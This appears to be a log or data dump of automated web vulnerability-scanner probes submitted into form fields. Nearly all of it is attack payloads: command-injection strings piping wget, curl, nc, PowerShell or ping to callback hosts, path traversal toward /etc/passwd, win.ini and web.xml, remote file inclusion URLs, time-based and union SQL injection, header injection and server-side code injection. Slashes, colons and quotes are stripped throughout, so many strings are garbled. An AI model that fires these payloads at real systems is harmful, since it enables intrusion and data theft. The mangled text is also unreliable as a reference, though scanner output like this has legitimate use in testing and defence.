1234|wget http10.40.68.814686AppScanMsg.htmlvarId=2538|echo
|
........................binid|
|
1234|wget http10.40.68.814686AppScanMsg.htmlvarId=2539|echo
|
........................usrbinid|
|
1234|wget http10.40.68.814686AppScanMsg.htmlvarId=2540|echo
|
1234|echo -e GET AppScanMsg.htmlvarId=2541 HTTP1.0\r\n\r\n | nc 10.40.68.81 4686|echo
|
1234|echo -e GET AppScanMsg.htmlvarId=2543 HTTP1.0\r\n\r\n | nc 10.40.68.81 4686|echo
|
1234|echo -e GET AppScanMsg.htmlvarId=2545 HTTP1.0\r\n\r\n | nc 10.40.68.81 4686|echo
|
1234curl http10.40.68.814686AppScanMsg.htmlvarId=2547
|
res.endrequirefs.readdirSync..toString
|
1234
AppScanHeader AppScanValue1.2-67
SecondAppScanHeader whatever
|
res.endrequirefs.readdirSync..toString
|
res.endrequirefs.readdirSync...toString
|
1234 AppScanHeader AppScanValue1.2-69 SecondAppScanHeader whatever
|
res.endrequirefs.readdirSync...toString
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
1multioussecanonymAppendName3
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
www.site120.cn2012_rFi_0702.txt
|
................................................etc.anonymousec
|
httpwww.site120.cnwebscantest_alert.html
|
................................................etc.anonymousec.htm
|
..............windowswin.ini
|
..............windowswin.ini.htm
|
................................................etc.anonymousec
|
................................................etc.anonymousec.htm
|
..............etc.passwd.htm
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini.htm
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd.htm
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini.htm
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd.htm
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd.htm
|
Response.Write8-9999108099999
|
Response.Write8-9999108099999
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
................................................etc.anonymousec
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
................................................etc.anonymousec.htm
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
1multioussecanonymAppendName3
|
www.site120.cn2012_rFi_0702.txt
|
................................................etc.anonymousec
|
................................................etc.anonymousec.htm
|
httpwww.site120.cnwebscantest_alert.html
|
..............windowswin.ini
|
..............windowswin.ini.htm
|
..............etc.passwd.htm
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini.htm
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd.htm
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini.htm
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini.htm
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd.htm
|
Response.Write8-9999108099999
|
Response.Write8-9999108099999
|
httphit39650539a2.bxss.me
|
1multioussecanonymAppendName3
|
1multioussecanonymAppendName3
|
WebScanCustomInjectedHeader Injected_by_Anymous
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
www.site120.cn2012_rFi_0702.txt
|
WebScanCustomInjectedHeader Injected_by_Anymous
|
WebScanCustomInjectedHeader Injected_by_Anymous
|
aa WebScanCustomInjectedHeader Injected_by_Anymous
|
1multioussecanonymAppendName3
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
................................................etc.anonymousec
|
httphit5264a87160.bxss.me
|
................................................etc.anonymousec.htm
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
aa WebScanCustomInjectedHeader Injected_by_Anymous
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
www.site120.cn2012_rFi_0702.txt
|
httphit5264a87160.bxss.me
|
................................................etc.anonymousec
|
..............windowswin.ini
|
..............windowswin.ini.htm
|
................................................etc.anonymousec.htm
|
..............etc.passwd.htm
|
httpwww.site120.cnwebscantest_alert.html
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini.htm
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd.htm
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd.htm
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini.htm
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini.htm
|
............WEB-INFweb.xml
|
............WEB-INFweb.xml
|
............WEB-INFweb.xml
|
Response.Write8-9999108099999
|
Response.Write8-9999108099999
|
............WEB-INFweb.xml
|
Response.Write8-9999108099999
|
response.write9133193*9612552
|
response.write9133193*9612552
|
response.write9133193*9612552
|
nslookup udZ7JUhF\`0nslookup udZ7JUhF`
|
httpsome-inexistent-website.acusome_inexistent_file_with_long_name.jpg
|
....................windowswin.ini
|
1some_inexistent_file_with_long_name.jpg
|
C\WINDOWS\system32\drivers\etc\hosts
|
Httptestasp.vulnweb.comtfit.txt
|
....................windowswin.ini.jpg
|
httptestasp.vulnweb.comtfit.txt.jpg
|
????????????????????????????????????????????????windows??win.ini
|
................windowswin.ini
|
printmd5acunetix_wvs_security_test
|
..\..\..\..\..\..\..\..\windows\win.ini
|
.\\..\\..\\..\\..\\..\\.windowswin.ini
|
httphit2jJzPaEbKH.bxss.me
|
................................windowswin.ini
|
HttPtestasp.vulnweb.comtxss.html00
|
................................................windowswin.ini
|
printmd5acunetix_wvs_security_test$a=
|
testasp.vulnweb.comtxss.html00
|
printmd5acunetix_wvs_security_test$a=
|
$@printmd5acunetix_wvs_security_test
|
$@printmd5acunetix_wvs_security_test\
|
-1 OR 2577-577-1=0001 or gCfOJAbk=
|
0XORifnow=sysdate,sleep16,0XORZ
|
0XORifnow=sysdate,sleep5,0XORZ
|
select0fromselectsleep5v*select0fromselectsleep5vselect0fromselectsleep5v*
|
zR5pGOM1 waitfor delay 0016
|
fSmOZete waitfor delay 005
|
60VvNhGw waitfor delay 005
|
kIbjcUrLselect pg_sleep11
|
RwHRZqJoselect pg_sleep11
|
xuBtodUZselect pg_sleep11
|
httphit025ba45a15.bxss.me
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
www.site120.cn2012_rFi_0702.txt
|
1multioussecanonymAppendName3
|
WebScanCustomInjectedHeader Injected_by_Anymous
|
WebScanCustomInjectedHeader Injected_by_Anymous
|
................................................etc.anonymousec
|
................................................etc.anonymousec.htm
|
..............windowswin.ini
|
..............windowswin.ini.htm
|
..............etc.passwd.htm
|
aa WebScanCustomInjectedHeader Injected_by_Anymous
|
................................................etc.anonymousec
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini
|
aa WebScanCustomInjectedHeader Injected_by_Anymous
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini.htm
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd.htm
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini.htm
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd.htm
|
httpwww.site120.cnwebscantest_alert.html
|
................................................etc.anonymousec.htm
|
............WEB-INFweb.xml
|
Response.Write8-9999108099999
|
............WEB-INFweb.xml
|
............WEB-INFweb.xml
|
Response.Write8-9999108099999
|
1multioussecanonymAppendName3
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
httphit00ab22501b.bxss.me
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
www.site120.cn2012_rFi_0702.txt
|
WebScanCustomInjectedHeader Injected_by_Anymous
|
WebScanCustomInjectedHeader Injected_by_Anymous
|
................................................etc.anonymousec
|
................................................etc.anonymousec.htm
|
WebScanCustomInjectedHeader Injected_by_Anymous
|
httpwww.site120.cnwebscantest_alert.html
|
httpwww.site120.cnwebscantest_alert.html
|
................................................etc.anonymousec
|
................................................etc.anonymousec.htm
|
................................................etc.anonymousec
|
aa WebScanCustomInjectedHeader Injected_by_Anymous
|
............WEB-INFweb.xml
|
aa WebScanCustomInjectedHeader Injected_by_Anymous
|
aa WebScanCustomInjectedHeader Injected_by_Anymous
|
..............windowswin.ini
|
..............windowswin.ini
|
..............windowswin.ini.htm
|
..............etc.passwd.htm
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini
|
............WEB-INFweb.xml
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini.htm
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini.htm
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd
|
..............windowswin.ini.htm
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd.htm
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd.htm
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd.htm
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd
|
Response.Write8-9999108099999
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini.htm
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini.htm
|
............WEB-INFweb.xml
|
httphit1347279374.bxss.me
|
WebScanCustomInjectedHeader Injected_by_Anymous
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
1multioussecanonymAppendName3
|
www.site120.cn2012_rFi_0702.txt
|
WebScanCustomInjectedHeader Injected_by_Anymous
|
................................................etc.anonymousec
|
................................................etc.anonymousec.htm
|
aa WebScanCustomInjectedHeader Injected_by_Anymous
|
................................................etc.anonymousec
|
aa WebScanCustomInjectedHeader Injected_by_Anymous
|
................................................etc.anonymousec.htm
|
httpwww.site120.cnwebscantest_alert.html
|
..............windowswin.ini
|
..............windowswin.ini.htm
|
..............etc.passwd.htm
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini.htm
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd.htm
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini.htm
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd.htm
|
............WEB-INFweb.xml
|
............WEB-INFweb.xml
|
............WEB-INFweb.xml
|
............WEB-INFweb.xml
|
Response.Write8-9999108099999
|
Response.Write8-9999108099999
|
1multioussecanonymAppendName3
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
httphit7916677517.bxss.me
|
WebScanCustomInjectedHeader Injected_by_Anymous
|
1 ifnow=sysdate,sleep0,0*XORifnow=sysdate,sleep0,0ORXORifnow=sysdate,sleep0,0OR*
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
................................................etc.anonymousec
|
WebScanCustomInjectedHeader Injected_by_Anymous
|
1 ifnow=sysdate,sleep6,0*XORifnow=sysdate,sleep6,0ORXORifnow=sysdate,sleep6,0OR*
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
Response.Write8-9999108099999
|
1 and ifnow=sysdate,sleep0,0*XORifnow=sysdate,sleep0,0ORXORifnow=sysdate,sleep0,0OR*
|
aa WebScanCustomInjectedHeader Injected_by_Anymous
|
www.site120.cn2012_rFi_0702.txt
|
1 and ifnow=sysdate,sleep0,0*XORifnow=sysdate,sleep0,0ORXORifnow=sysdate,sleep0,0OR*
|
aa WebScanCustomInjectedHeader Injected_by_Anymous
|
1 and ifnow=sysdate,sleep6,0*XORifnow=sysdate,sleep6,0ORXORifnow=sysdate,sleep6,0OR*
|
httpwww.site120.cnwebscantest_alert.html
|
................................................etc.anonymousec.htm
|
..............windowswin.ini
|
................................................etc.anonymousec.htm
|
1 and ifnow=sysdate,sleep0,0*XORifnow=sysdate,sleep0,0ORXORifnow=sysdate,sleep0,0OR*
|
..............windowswin.ini.htm
|
1 and ifnow=sysdate,sleep6,0*XORifnow=sysdate,sleep6,0ORXORifnow=sysdate,sleep6,0OR*
|
............WEB-INFweb.xml
|
1 and ifnow=sysdate,sleep0,0*XORifnow=sysdate,sleep0,0ORXORifnow=sysdate,sleep0,0OR*
|
1 and ifnow=sysdate,sleep6,0*XORifnow=sysdate,sleep6,0ORXORifnow=sysdate,sleep6,0OR*
|
..............etc.passwd.htm
|
................................................etc.anonymousec
|
1 and ifnow=sysdate,sleep0,0*XORifnow=sysdate,sleep0,0ORXORifnow=sysdate,sleep0,0OR*
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini
|
1 and ifnow=sysdate,sleep6,0*XORifnow=sysdate,sleep6,0ORXORifnow=sysdate,sleep6,0OR*
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini.htm
|
................................................etc.anonymousec.htm
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd
|
1 and ifnow=sysdate,sleep0,0*XORifnow=sysdate,sleep0,0ORXORifnow=sysdate,sleep0,0OR*
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd.htm
|
............WEB-INFweb.xml
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini.htm
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd.htm
|
............WEB-INFweb.xml
|
Response.Write8-9999108099999
|
1 and 1 in select BENCHMARK0,MD5CHAR97
|
1 and 1 in select BENCHMARK28000000,MD5CHAR97
|
1 and 1 in select BENCHMARK0,MD5CHAR97
|
1 and 1 in select BENCHMARK28000000,MD5CHAR97
|
1 and 1 in select BENCHMARK0,MD5CHAR97
|
1 and 1 in select BENCHMARK0,MD5CHAR97
|
1 and 1 in select BENCHMARK0,MD5CHAR97
|
1 and 1 in select BENCHMARK28000000,MD5CHAR97
|
1 and 1 in select BENCHMARK0,MD5CHAR97
|
1 and 1 in select BENCHMARK28000000,MD5CHAR97
|
1 and select0fromselectsleep0v* select0fromselectsleep0v select0fromselectsleep0v *
|
1 and select0fromselectsleep6v* select0fromselectsleep6v select0fromselectsleep6v *
|
1 and select0fromselectsleep0v* select0fromselectsleep0v select0fromselectsleep0v *
|
1 and select0fromselectsleep6v* select0fromselectsleep6v select0fromselectsleep6v *
|
1 and select0fromselectsleep0v* select0fromselectsleep0v select0fromselectsleep0v *
|
1 and select0fromselectsleep6v* select0fromselectsleep6v select0fromselectsleep6v *
|
1 and select0fromselectsleep0v* select0fromselectsleep0v select0fromselectsleep0v *
|
1 and select0fromselectsleep6v* select0fromselectsleep6v select0fromselectsleep6v *
|
1 and select0fromselectsleep0v* select0fromselectsleep0v select0fromselectsleep0v *
|
-1 uNiOn sElEct concatchar97,char107,char100,char100,char108,char98,char98,char103,char101 -
|
htTpwww.site120.cn2012_rFi_0702.txt
|
-1 uNiOn sElEct concatchar97,char107,char100,char100,char108,char98,char98,char103,char101,concatchar97,char107,char100,char100,char108,char98,char98,char103,char101,concatchar97,char107,char100,char100,char108,char98,char98,char103,char101 -
|
............WEB-INFweb.xml
|
................WEB-INFweb.xml
|
1**anD**5952=5952**anD**1=1
|
1**anD**5292=8237**anD**1=1
|
1**anD**8607=8607**anD**1=1
|
1**anD**4870=0657**anD**1=1
|
1**anD**3778=3778**anD**1=1
|
1**anD**4338=0985**anD**1=1
|
1**anD**6075=5390**anD**=
|
1**anD**5381=5381**anD**=
|
1**anD**4068=1697**anD**=
|
1**anD**4441=4441**anD**=
|
1**anD**8195=8195**anD**=
|
1**anD**6090=4410**anD**=
|
1**oR**0136=0136**anD**1=1
|
1**oR**9648=5589**anD**1=1
|
1**oR**9648=5589**anD**1=1
|
1**oR**2789=0932**anD**1=1
|
1**oR**6725=6725**anD**1=1
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini.htm
|
............WEB-INFweb.xml
|
..............WEB-INFweb.xml
|
wget http10.211.55.358721AppScanMsg.htmlvarId=3162
|
1234 wget http10.211.55.358721AppScanMsg.htmlvarId=3163
|
1234|powershell -command Invoke-WebRequest http10.211.55.358721AppScanMsg.htmlvarId=3165
|
1234powershell -command Invoke-WebRequest http10.211.55.358721AppScanMsg.htmlvarId=3168
|
1234powershell -command Invoke-WebRequest http10.211.55.358721AppScanMsg.htmlvarId=3172
|
powershell -command Invoke-WebRequest http10.211.55.358721AppScanMsg.htmlvarId=3176
|
1234powershell -command Invoke-WebRequest http10.211.55.358721AppScanMsg.htmlvarId=3177
|
1234||powershell -command Invoke-WebRequest http10.211.55.358721AppScanMsg.htmlvarId=3178
|
1234 | wget http10.211.55.358721AppScanMsg.htmlvarId=3164
|
1234powershell -command Invoke-WebRequest http10.211.55.358721AppScanMsg.htmlvarId=3180#
|
1234 wget http10.211.55.358721AppScanMsg.htmlvarId=3181
|
1234 `wget http10.211.55.358721AppScanMsg.htmlvarId=3186`
|
1234 wget http10.211.55.358721AppScanMsg.htmlvarId=3187
|
ping -c 1 ping.3169_27a616e5-bbbc-4fc9-9000-fc464826ffd1.securityip.appsechcl.com
|
1234 || wget http10.211.55.358721AppScanMsg.htmlvarId=3189
|
1234 ping -c 1 ping.3191_27a616e5-bbbc-4fc9-9000-fc464826ffd1.securityip.appsechcl.com
|
1234powershell -command Invoke-WebRequest http10.211.55.358721AppScanMsg.htmlvarId=3183#
|
1234powershell -command Invoke-WebRequest http10.211.55.358721AppScanMsg.htmlvarId=3195
|
1234 ping -c 1 ping.3193_27a616e5-bbbc-4fc9-9000-fc464826ffd1.securityip.appsechcl.com
|
1234powershell -command Invoke-WebRequest http10.211.55.358721AppScanMsg.htmlvarId=3196
|
1234 | ping -c 1 ping.3198_27a616e5-bbbc-4fc9-9000-fc464826ffd1.securityip.appsechcl.com
|
1234 $wget http10.211.55.358721AppScanMsg.htmlvarId=3190
|
1234powershell -command Invoke-WebRequest http10.211.55.358721AppScanMsg.htmlvarId=3200
|
1234 ping -c 1 ping.3204_27a616e5-bbbc-4fc9-9000-fc464826ffd1.securityip.appsechcl.com
|
1234 wget http10.211.55.358721AppScanMsg.htmlvarId=3208 #
|
1234 wget http10.211.55.358721AppScanMsg.htmlvarId=3215 #
|
1234 || ping -c 1 ping.3211_27a616e5-bbbc-4fc9-9000-fc464826ffd1.securityip.appsechcl.com
|
1234 ping -c 1 ping.3217_27a616e5-bbbc-4fc9-9000-fc464826ffd1.securityip.appsechcl.com #
|
1234 wget http10.211.55.358721AppScanMsg.htmlvarId=3216
|
1234 ping -c 1 ping.3218_27a616e5-bbbc-4fc9-9000-fc464826ffd1.securityip.appsechcl.com #
|
1234 ping -c 1 ping.3221_27a616e5-bbbc-4fc9-9000-fc464826ffd1.securityip.appsechcl.com
|
1234 wget http10.211.55.358721AppScanMsg.htmlvarId=3219
|
1234 ping -c 1 ping.3223_27a616e5-bbbc-4fc9-9000-fc464826ffd1.securityip.appsechcl.com
|
1234 $ping -c 1 ping.3232_27a616e5-bbbc-4fc9-9000-fc464826ffd1.securityip.appsechcl.com
|
1234 `ping -c 1 ping.3236_27a616e5-bbbc-4fc9-9000-fc464826ffd1.securityip.appsechcl.com`
|
1234 ping -c 1 ping.3270_27a616e5-bbbc-4fc9-9000-fc464826ffd1.securityip.appsechcl.com
|
http10.211.55.358721AppScanMsg.htmlvarId=3287
|
http18161433958721AppScanMsg.htmlvarId=3288
|
http0x000A.0x0000D3.0x037.0x000000358721AppScanMsg.htmlvarId=3297
|
http00012.000000323.0000067.0000358721AppScanMsg.htmlvarId=3305
|
http00000126463340358721AppScanMsg.htmlvarId=3306
|
http0x0A.211.000000067.0x0000358721AppScanMsg.htmlvarId=3309
|
http447658163558721AppScanMsg.htmlvarId=3323
|
ping.3346_a27565aa-6144-413e-be6b-86bef19bd327.securityip.appsechcl.com
|
httpping.3358_a27565aa-6144-413e-be6b-86bef19bd327.securityip.appsechcl.com
|
http1234@ping.3364_a27565aa-6144-413e-be6b-86bef19bd327.securityip.appsechcl.com
|
1234 AppScanHeader AppScanValue1.2-3415 SecondAppScanHeader whatever
|
WebScanCustomInjectedHeader Injected_by_Anymous
|
httphita33509ab85.bxss.me
|
1multioussecanonymAppendName3
|
WebScanCustomInjectedHeader Injected_by_Anymous
|
aa WebScanCustomInjectedHeader Injected_by_Anymous
|
aa WebScanCustomInjectedHeader Injected_by_Anymous
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
httphita33509ab85.bxss.me
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
1multioussecanonymAppendName3
|
1 ifnow=sysdate,sleep0,0*XORifnow=sysdate,sleep0,0ORXORifnow=sysdate,sleep0,0OR*
|
1 ifnow=sysdate,sleep6,0*XORifnow=sysdate,sleep6,0ORXORifnow=sysdate,sleep6,0OR*
|
1 and ifnow=sysdate,sleep0,0*XORifnow=sysdate,sleep0,0ORXORifnow=sysdate,sleep0,0OR*
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
hTTpwww.site120.cn2012_rFi_0702.txt
|
www.site120.cn2012_rFi_0702.txt
|
1 and ifnow=sysdate,sleep6,0*XORifnow=sysdate,sleep6,0ORXORifnow=sysdate,sleep6,0OR*
|
1 and ifnow=sysdate,sleep0,0*XORifnow=sysdate,sleep0,0ORXORifnow=sysdate,sleep0,0OR*
|
1 and ifnow=sysdate,sleep6,0*XORifnow=sysdate,sleep6,0ORXORifnow=sysdate,sleep6,0OR*
|
1 and ifnow=sysdate,sleep0,0*XORifnow=sysdate,sleep0,0ORXORifnow=sysdate,sleep0,0OR*
|
1 and ifnow=sysdate,sleep0,0*XORifnow=sysdate,sleep0,0ORXORifnow=sysdate,sleep0,0OR*
|
............WEB-INFweb.xml
|
..............windowswin.ini
|
..............windowswin.ini.htm
|
1 ifnow=sysdate,sleep0,0*XORifnow=sysdate,sleep0,0ORXORifnow=sysdate,sleep0,0OR*
|
................................................etc.anonymousec
|
................................................etc.anonymousec.htm
|
................................................etc.anonymousec
|
................................................etc.anonymousec.htm
|
httpwww.site120.cnwebscantest_alert.html
|
..............etc.passwd.htm
|
1 and ifnow=sysdate,sleep6,0*XORifnow=sysdate,sleep6,0ORXORifnow=sysdate,sleep6,0OR*
|
1 and ifnow=sysdate,sleep6,0*XORifnow=sysdate,sleep6,0ORXORifnow=sysdate,sleep6,0OR*
|
httpwww.site120.cnwebscantest_alert.html
|
1 and ifnow=sysdate,sleep0,0*XORifnow=sysdate,sleep0,0ORXORifnow=sysdate,sleep0,0OR*
|
1 and ifnow=sysdate,sleep0,0*XORifnow=sysdate,sleep0,0ORXORifnow=sysdate,sleep0,0OR*
|
............WEB-INFweb.xml
|
............WEB-INFweb.xml
|
1 and ifnow=sysdate,sleep6,0*XORifnow=sysdate,sleep6,0ORXORifnow=sysdate,sleep6,0OR*
|
............WEB-INFweb.xml
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini.htm
|
................................................etc.anonymousec
|
1 and ifnow=sysdate,sleep6,0*XORifnow=sysdate,sleep6,0ORXORifnow=sysdate,sleep6,0OR*
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd.htm
|
............WEB-INFweb.xml
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini
|
..2F..2F..2F..2F..2F..2F..2Fwindowswin.ini.htm
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd
|
1 and ifnow=sysdate,sleep0,0*XORifnow=sysdate,sleep0,0ORXORifnow=sysdate,sleep0,0OR*
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd.htm
|
............WEB-INFweb.xml
|
1 and ifnow=sysdate,sleep6,0*XORifnow=sysdate,sleep6,0ORXORifnow=sysdate,sleep6,0OR*
|
1 and 1 in select BENCHMARK0,MD5CHAR97
|
.2e.2e.2e.2e.2e.2e.2ewindowswin.ini.htm
|
1 and 1 in select BENCHMARK28000000,MD5CHAR97
|
1 and 1 in select BENCHMARK0,MD5CHAR97
|
1 and 1 in select BENCHMARK10000000,MD5CHAR97
|
1 and 1 in select BENCHMARK0,MD5CHAR97
|
1 and 1 in select BENCHMARK28000000,MD5CHAR97
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd
|
.2e.2e.2e.2e.2e.2e.2eetc.passwd
|
1 and 1 in select BENCHMARK0,MD5CHAR97
|
..2F..2F..2F..2F..2F..2F..2Fetc.passwd.htm
|
1 and 1 in select BENCHMARK0,MD5CHAR97
|
1 and 1 in select BENCHMARK28000000,MD5CHAR97
|
1 and 1 in select BENCHMARK0,MD5CHAR97
|
1 and 1 in select BENCHMARK28000000,MD5CHAR97
|
1 and 1 in select BENCHMARK0,MD5CHAR97
|
1 and 1 in select BENCHMARK28000000,MD5CHAR97
|
1 and select0fromselectsleep0v*select0fromselectsleep0vselect0fromselectsleep0v*
|
1 and select0fromselectsleep6v*select0fromselectsleep6vselect0fromselectsleep6v*
|
1 and select0fromselectsleep0v*select0fromselectsleep0vselect0fromselectsleep0v*
|
1 and select0fromselectsleep6v*select0fromselectsleep6vselect0fromselectsleep6v*
|
1 and select0fromselectsleep0v*select0fromselectsleep0vselect0fromselectsleep0v*
|
1 and select0fromselectsleep6v*select0fromselectsleep6vselect0fromselectsleep6v*
|
1 and select0fromselectsleep0v*select0fromselectsleep0vselect0fromselectsleep0v*
|
1 and select0fromselectsleep2v*select0fromselectsleep2vselect0fromselectsleep2v*
|
1 and select0fromselectsleep0v*select0fromselectsleep0vselect0fromselectsleep0v*
|
1 and select0fromselectsleep6v*select0fromselectsleep6vselect0fromselectsleep6v*
|
1 and select0fromselectsleep0v*select0fromselectsleep0vselect0fromselectsleep0v*
|
1 and select0fromselectsleep0v*select0fromselectsleep0vselect0fromselectsleep0v*
|
1 and select0fromselectsleep6v*select0fromselectsleep6vselect0fromselectsleep6v*
|
1 and select0fromselectsleep0v*select0fromselectsleep0vselect0fromselectsleep0v*
|
1 and select0fromselectsleep6v*select0fromselectsleep6vselect0fromselectsleep6v*
|
HCL4ppsc4nbuggyRandomValue
|
wget http169.254.79.7018036AppScanMsg.htmlvarId=5232
|
1234 wget http169.254.79.7018036AppScanMsg.htmlvarId=5234
|
1234|powershell -command Invoke-WebRequest http169.254.79.7018036AppScanMsg.htmlvarId=5237
|
1234powershell -command Invoke-WebRequest http169.254.79.7018036AppScanMsg.htmlvarId=5239
|
1234powershell -command Invoke-WebRequest http169.254.79.7018036AppScanMsg.htmlvarId=5245
|
ping -c 1 v3-ping-5238-c0abf1d1-4a5a-4cd1-b87c-eae00757e5e2.securityip.appsechcl.com
|
powershell -command Invoke-WebRequest http169.254.79.7018036AppScanMsg.htmlvarId=5248
|
1234 ping -c 1 v3-ping-5252-c0abf1d1-4a5a-4cd1-b87c-eae00757e5e2.securityip.appsechcl.com
|
1234 ping -c 1 v3-ping-5256-c0abf1d1-4a5a-4cd1-b87c-eae00757e5e2.securityip.appsechcl.com
|
1234 | ping -c 1 v3-ping-5260-c0abf1d1-4a5a-4cd1-b87c-eae00757e5e2.securityip.appsechcl.com
|
1234 wget http169.254.79.7018036AppScanMsg.htmlvarId=5261
|
1234 | wget http169.254.79.7018036AppScanMsg.htmlvarId=5240
|
1234 ping -c 1 v3-ping-5264-c0abf1d1-4a5a-4cd1-b87c-eae00757e5e2.securityip.appsechcl.com
|
1234 || ping -c 1 v3-ping-5265-c0abf1d1-4a5a-4cd1-b87c-eae00757e5e2.securityip.appsechcl.com
|
1234 `wget http169.254.79.7018036AppScanMsg.htmlvarId=5267`
|
1234 wget http169.254.79.7018036AppScanMsg.htmlvarId=5269
|
1234powershell -command Invoke-WebRequest http169.254.79.7018036AppScanMsg.htmlvarId=5255
|
1234 || wget http169.254.79.7018036AppScanMsg.htmlvarId=5270
|
1234 ping -c 1 v3-ping-5268-c0abf1d1-4a5a-4cd1-b87c-eae00757e5e2.securityip.appsechcl.com #
|
1234||powershell -command Invoke-WebRequest http169.254.79.7018036AppScanMsg.htmlvarId=5273
|
1234 $wget http169.254.79.7018036AppScanMsg.htmlvarId=5274
|
1234 wget http169.254.79.7018036AppScanMsg.htmlvarId=5276 #
|
1234 ping -c 1 v3-ping-5279-c0abf1d1-4a5a-4cd1-b87c-eae00757e5e2.securityip.appsechcl.com #
|
1234powershell -command Invoke-WebRequest http169.254.79.7018036AppScanMsg.htmlvarId=5280#
|
